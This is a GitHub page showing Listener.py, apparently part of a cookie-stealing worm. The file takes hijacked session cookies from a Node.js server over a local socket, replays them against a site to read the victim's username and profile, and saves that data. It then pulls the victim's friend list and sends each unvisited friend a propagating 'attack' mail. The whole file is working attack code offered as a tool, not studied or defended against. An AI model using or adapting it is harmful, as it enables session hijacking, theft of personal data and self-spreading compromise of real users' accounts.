-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathListener.py
85 lines (65 loc) · 2.7 KB
/
Listener.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#-*- coding:utf-8 -*-
# @author:0xcc
# @functionality:
# this file is intended for creating a socket
# listening from nodejs Server's socket client.
# When there's responding , we launch our attaka with testRequests.py
import socket
import logs
import parseCookie
import UserInfo
import testRequests
import param
import Util
import AutoAttaka
import urllib
class Listener:
#necessary Parameters here
HOST = ""
PORT = 0
Flag = ""
socket = None
def __init__(self, HOST, PORT):
self.HOST = HOST
self.PORT = PORT
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.bind((self.HOST,self.PORT))
self.socket.listen(10)
print "[*] Node-Py Socket Starting socket listening.."
while 1:
conn,addr = self.socket.accept()
##Cookie length should not be longer than this.
while 1:
data = conn.recv(4096)
data = str(data)
print data
data = urllib.unquote(data)
cookies = parseCookie.parseCookie(data)
Request = testRequests.LaunchRequest(cookies)
userInfoCollection = Util.parsehtml.parse(Request.send(param.userProfile_url, None, "get",1))
Username = userInfoCollection['userName']
logs.LOG.WriteLog("[*]Attacking " + Username)
#Start Sweep process after Getting Cookie
#Right now.
#If somebody's cookie is up
#it assures it's his first
#time of visiting, but be careful
#of two complete clicking
AutoAttaka.AutoAttaka.establishSender(cookies)
hisList = AutoAttaka.AutoAttaka.acquireHisList()
#Start Emailing to friends and Recommend
for him in hisList:
if UserInfo.dbopt.checkExistence(him) == 0:
#Non-Exist, launch attaka.
AutoAttaka.AutoAttaka.Mail(him)
UserInfo.dbopt.addVisited(him)
AutoAttaka.AutoAttaka.cleanMail()
UserInfo.dbopt.addVisited(Username)
UserInfo.dbopt.saveUserInfo(userInfoCollection)
#Once get value from node-server,
#launch attack with Util.py
#Test-finish at 00:09.
if __name__ == '__main__':
logger1 = logs.LOG(param.logpath, "Runtime.log")
logger2 = logs.LOG(param.logpath, "Info.log")
Listen = Listener("127.0.0.1", 7777)